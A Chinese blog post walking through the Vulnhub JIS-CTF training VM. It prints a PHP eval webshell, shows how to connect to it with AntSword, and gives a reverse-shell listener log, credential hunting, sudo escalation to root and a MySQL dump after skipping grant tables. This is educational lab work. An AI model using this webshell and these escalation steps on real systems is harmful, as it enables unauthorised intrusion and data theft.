前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[网络安全] 二十七.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(1)

[网络安全] 二十七.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(1)

作者头像
Eastmount
发布2021-12-02 19:59:23
3.9K0
发布2021-12-02 19:59:23
举报
文章被收录于专栏:Python和安全那些事

文章目录:

  • 一.Vulnhub简介
  • 二.JIS-CTF题目描述
  • 三.Vulnhub环境配置
  • 四.Vulnhub靶机渗透详解 1.信息收集 2.First flag 3.Second flag 4.Third flag 一句话木马 蚁剑提权 5.Fourth flag 6.Fifth flag 7.sudo提权 8.获取数据库数据 五.总结
  • 五.总结

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。


一.Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场,每个靶场有对应的目标和难度,挑战者通过网络闯入系统获取root权限和查看flag。Vulnhub中包含了各种各样的镜像,可以下载到自己的主机上练习,其大部分的环境是要用VMware或者VirtualBox打开运行的。

作者看了Vulnhub的题目,是一个非常棒的Web渗透靶场,每个靶机都是很酷的一个游戏,需要找到所有的flag和提权,而Hack the box速度堪忧。为了让更多朋友了解Web渗透基础知识,作者接下来会陆续分享该系列20篇文章,尽量选择技术含量较高的靶场,结合技术点进行讲解,希望你们喜欢~

  • 官方网址:https://www.vulnhub.com

该网站包含了很多靶场题目,每个靶场有对应的镜像下载地址、描述和难度等级等。比如“Me and My Girlfriend”如下图所示:

  • https://www.vulnhub.com/entry/ me-and-my-girlfriend-1,409/

二.JIS-CTF题目描述

靶场题目:JIS-CTF: VulnUpload

靶场地址:https://www.vulnhub.com/

entry/jis-ctf-vulnupload,228/

难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时

靶场作者:Mohammad Khreesha

靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.

下载地址:

  • Download (Torrent):https://download.vulnhub.com/ jisctf/JIS-CTF-VulnUpload-CTF01.ova.torrent
  • Download (Mirror):https://download.vulnhub.com/ jisctf/JIS-CTF-VulnUpload-CTF01.ova

打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。

描述中显示“Only working with VirtualBox”,只能工作在VirtualBox中工作,但作者是在VMware虚拟机中完成的实验。读者结合自身环境进行渗透测试。


三.Vulnhub环境配置

第一步,下载资源

建议采用迅雷打开下载JIS-CTF-VulnUpload-CTF01.OVA文件。

下载完成之后如下图所示,可以看到一个OVA后缀的文件。

第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。

选择存放的位置,然后点击导入。

如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。在编程或Web渗透过程中,我们会遇到各种问题和错误,需要学会谷歌和百度独立解决,这也是对你能力的一种提升。

第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB

第四步,点击开启虚拟机及配置过程 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。

进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。

等待系统启动完毕后,看到这个页面,我们继续回车进入。

回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。

第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件

当Linux系统无法启动时,通常需要进入单用户模式修改一些配置文件,或调整一些参数方可启动。但是在进入单用户模式后,我们的文件系统是只读模式,无法进行修改,那么这个时候就需要用到一条命令“mount –o remount,rw /”。这个命令让我们的 / 路径文件系统的可读模式能自由修改。

  • mount -o rw,remount /

接着输入命令查看网卡:

  • ifconfig -a

作者的是ens33,然后继续输入命令修改网络配置文件。

  • vi /etc/network/interfaces

输入I修改模式,如下图所示。

修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。

最后输入reboot重启即可。

运行结果如下图所示,我一直登录不进去(不知道用户名和密码)。最初以为是要求用VirtualBox虚拟机的原因,后来反应过来,此时似乎Kali上场开始渗透了。


四.Vulnhub靶机渗透详解

1.信息收集

首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。

第一步,扫描网卡名称

  • netdiscover -i

第二步,调用Nmap探测目标主机IP

  • nmap -sn 192.168.44.0/24

由于在同一个网段,所以和主机IP地址近视,扫描结果如下图所示,靶场IP为192.168.44.143。

第三步,调用Nmap探测靶机的开放端口信息

  • nmap -A 192.168.44.143
  • 22端口:SSH远程连接
  • 80端口:HTTP网站协议

第四步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要

  • dirb http://192.168.44.143

相关目录:

  • http://192.168.44.143/admin_area/
  • http://192.168.44.143/assets/
  • http://192.168.44.143/css/
  • http://192.168.44.143/flag/
  • http://192.168.44.143/index.php
  • http://192.168.44.143/js/
  • http://192.168.44.143/robots.txt
  • http://192.168.44.143/flag/index.html
  • http://192.168.44.143/admin_area/ index.php

第五步,调用whatweb查看环境

  • whatweb 192.168.44.143/login.php

第六步,敏感文件分析

  • 登陆界面: 192.168.44.143/index.php 192.168.44.143/login.php
  • 系统信息:发现目录浏览漏洞,以及apache版本信息 192.168.44.143/assets/
  • robots.txt文件发现目录泄露,其中flag文件夹应该有问题 192.168.44.143/robots.txt

做到这里,信息扫描步骤基本介绍,接下来开始靶机渗透。


2.First flag

我们从敏感文件robots.txt中获取目录信息,查看内容如下图所示:

接着我们发现一个敏感的关键词flag,输入目标地址:192.168.44.143/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。

The 1st flag is : {87345xxx2095}


3.Second flag

在地址栏中输入网址,显示如下图所示:

  • http://192.168.44.143/admin_area/

右键查看源码得到第二个flag,也是比较简单的知识点。 The 2nd flag is : {7412574xxx895214}

与第二个flag同时出现的还有一个账号和密码,说明接下来我们需要利用这个账号信息。

代码语言:javascript
复制
<html>
<head>
<title>
Fake admin area :)
</title>
<body>
<center><h1>The admin area not work :) </h1></center>
<!--	username : admin
	password : 3v1l_H@ck3r
	The 2nd flag is : {7412574125871236547895214}
-->
</body>
</html>

4.Third flag

登录分析

我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。

  • http://192.168.44.143/login.php
  • username : admin
  • password : 3v1l_H@ck3r

上传一句话木马

登录之后是一个上传页面,我们尝试上传一句话木马。

代码语言:javascript
复制
<?php @eval($_POST["eastmount"]); ?>

由于该网站采用PHP编写,一句话木马如下所示,我们在Kali浏览器中打开并上传。

上传文件成功。

接下来我们用要蚁剑来连接。

  • http://192.168.44.143/ uploaded_files/shell.php

Kali系统安装中国蚁剑

接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。

  • 中国蚁剑安装 - 付星fx
  • https://github.com/AntSwordProject/AntSword-Loader
  • Kali 安装中国蚁剑(antSword) - zrools

第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。

代码语言:javascript
复制
git clone https://github.com/antoor/antSword.git
cd antSword

作者从官网下载对应的Linux版本。

第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。

代码语言:javascript
复制
unzip AntSword-Loader-v4.0.3-linux-x64.zip

解压显示如下图所示:

第三步,进入中国蚁剑压缩包并打开蚁剑。

代码语言:javascript
复制
./AntSword

蚁剑打开如下图所示:

第四步,创建一个空文件夹(用全英文名字)。

然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。

执行结束之后,“./AntSword”会出现这个界面,说明安装成功。


蚁剑提权

第一步,利用前面上传的一句话木马。

代码语言:javascript
复制
<?php @eval($_POST['eastmount']);?>

第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。

代码语言:javascript
复制
URL:http://192.168.44.143/uploaded_files/shell.php
密码:eastmount

接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。

第三步,右键文件管理查看webshell目录

找到/var/www/html/目录下,看到hint.txt和flag.txt文件。

直接打开hint.txt文件,我们看到了第三个flag和用户名technawi,该用户名又能做什么呢?

try to find user technawi password to read the flag.txt file, you can find it in a hidden file 😉

The 3rd flag is : {76451xxxx345670}

注意,这里如果您对信息比较敏感,可能会通过直接访问hint.txt得到第三个flag和用户technawi。但更推荐大家尝试中国蚁剑和一句话木马的渗透方法。

第四步,gobuster目录扫描 注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。我们补充一个目录扫描知识点,使用gobuster依次扫各目录下的txt文件。robots.txt和hint.txt目录为200,表示能直接访问,其他目录均不能直接访问,flag.txt提示403。

  • /robots.txt (Status: 200)
  • /hint.txt (Status: 200)
代码语言:javascript
复制
root@kali:~#  gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.44.143 -t 100 -x txt
/assets (Status: 301)
/css (Status: 301)
/js (Status: 301)
/flag (Status: 301)
/flag.txt (Status: 403)
/robots.txt (Status: 200)
/uploaded_files (Status: 301)
/hint.txt (Status: 200)
/server-status (Status: 403)

那怎么才能获取flag.txt内容呢?此时你需要想到用户权限的限制和提取处理。

最后补充另一种提权方法,上传php-reverse-shell反弹shell到kali攻击机得到shell。

代码语言:javascript
复制
root@redwand:~# rlwrap nc -lvp 6666
listening on [any] 6666 ...
192.168.0.149: inverse host lookup failed: Unknown host
connect to [192.168.0.103] from (UNKNOWN) [192.168.0.149] 56148
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 04:28:10 up 52 min,  0 users,  load average: 0.00, 2.25, 3.94
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Jordaninfosec-CTF01:/$

5.Fourth flag

刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?

第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。

  • find / -user ‘technawi’ 2>/dev/null

我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag。

代码语言:javascript
复制
(www-data:/var/www/html) $ find / -user 'technawi' 2>/dev/null
/etc/mysql/conf.d/credentials.txt
/var/www/html/flag.txt
/home/technawi
/home/technawi/.cache
/home/technawi/.bash_history
/home/technawi/.sudo_as_admin_successful
/home/technawi/.profile
/home/technawi/.bashrc
/home/technawi/.bash_logout
(www-data:/var/www/html) $ cat /etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
(www-data:/var/www/html) $

获取第四个Flag和technawi用户对应的密码。

  • The 4th flag is : {78456xxxx85412}
  • username : technawi
  • password : 3vilH@ksor

6.Fifth flag

如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。

接着我们采用SSH连接,账号和密码为第4个flag获取的值。

  • username : technawi
  • password : 3vilH@ksor
  • ssh technawi@192.168.44.143

找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。

  • cat /var/www/html/flag.txt
  • The 5th flag is : {547321xxxx6975249}

7.sudo提权

在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。前面我们在home目录下发现 .sudo_as_admin_successful 文件,表示需要使用sudo提权。

  • root权限可以直接使用sudo su -获得

首先我们使用sudo -l看看sudo权限。

显示“ALL”说明technawi可以用自己的密码切换为 root 用户,输入“sudo su root”命令,密码为3vilH@ksor。权限成功从technawi提升为root。


8.获取数据库数据

同样数据库操作也非常有意思,我们尝试获取mysql数据库内容。

核心步骤为:登录root权限,新建目录并使用命令跳过输入密码过程

  • mkdir -p /var/run/mysqld
  • chown -R mysql:mysql /var/run/mysqld
  • mysqld_safe --skip-grant-tables &
代码语言:javascript
复制
technawi@Jordaninfosec-CTF01:/var/www$ sudo su root
root@Jordaninfosec-CTF01:/var/www# whoami
root
root@Jordaninfosec-CTF01:/var/www# ls
html
root@Jordaninfosec-CTF01:/var/www# mkdir -p /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# chown -R mysql:mysql /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# mysqld_safe --skip-grant-tables &
[1] 1910
root@Jordaninfosec-CTF01:/var/www# 2020-04-10T06:31:09.933846Z mysqld_safe Logging to syslog.
2020-04-10T06:31:09.936319Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.941145Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.959551Z mysqld_safe A mysqld process already exists

输出结果如下图所示:

接着新开一个终端mysql -uroot无密码登陆即可,但作者总是报错。

哎!自己还是太弱了,最后该部分补充Redwand老师的成功代码。 [VulnHub] JIS-CTF - redwand

代码语言:javascript
复制
root@Jordaninfosec-CTF01:/tmp# mysql -uroot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

查看数据库如下:

代码语言:javascript
复制
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)

查看mysql.user表如下:

代码语言:javascript
复制
mysql> select host,user,authentication_string,plugin from user;
+-----------+------------------+-------------------------------------------+-----------------------+
| host      | user             | authentication_string                     | plugin                |
+-----------+------------------+-------------------------------------------+-----------------------+
| localhost | root             | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | mysql_native_password |
| localhost | mysql.sys        | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | mysql_native_password |
| localhost | debian-sys-maint | *C46C96C2990814041379A76A744EE3E5026A0D64 | mysql_native_password |
+-----------+------------------+-------------------------------------------+-----------------------+

更新root密码为123456如下:

代码语言:javascript
复制
mysql> update user set authentication_string=password("123456") where user="root";
Query OK, 0 rows affected, 1 warning (0.00 sec)
Rows matched: 1  Changed: 0  Warnings: 1
mysql>flush privileges;

mysqldump导出需要的数据库,完成mysql脱裤。

代码语言:javascript
复制
root@Jordaninfosec-CTF01:/tmp# mysqldump -uroot -p sys > sys.sql
Enter password:


五.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:

  • netdiscover 用于发现目标ip
  • nmap进行端口扫描
  • dirb进行目录扫描
  • 敏感文件获取及分析
  • php木马生成和蚁剑工具
  • ssh远程连接
  • sudo提权
  • 数据库脱裤

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。


参考文章如下,特别感谢胡老师。

  • [1] https://www.vulnhub.com
  • [2] 教你怎么用Vulnhub来搭建环境 - i春秋老师F0rmat
  • [3] [VulnHub] JIS-CTF - redwand
  • [4] OSCP - JIS-CTF-VulnUpload-CTF01 - 青蛙爱轮滑
  • [5] JIS-CTF_VulnUpload靶机攻略 - FreeBuf yangyangwithgnu
  • [6] Vulnhub JIS-CTF-VulnUpload靶机渗透 - A1oe
  • [7] vulnhub靶场渗透学习-JIS-CTF - Shang176
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 娜璋AI安全之家 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 二.JIS-CTF题目描述
  • 三.Vulnhub环境配置
  • 四.Vulnhub靶机渗透详解
    • 1.信息收集
      • 2.First flag
        • 3.Second flag
          • 4.Third flag
            • 登录分析
            • 上传一句话木马
            • Kali系统安装中国蚁剑
            • 蚁剑提权
          • 5.Fourth flag
            • 6.Fifth flag
              • 7.sudo提权
                • 8.获取数据库数据
                • 五.总结
                相关产品与服务
                云数据库 MySQL
                腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档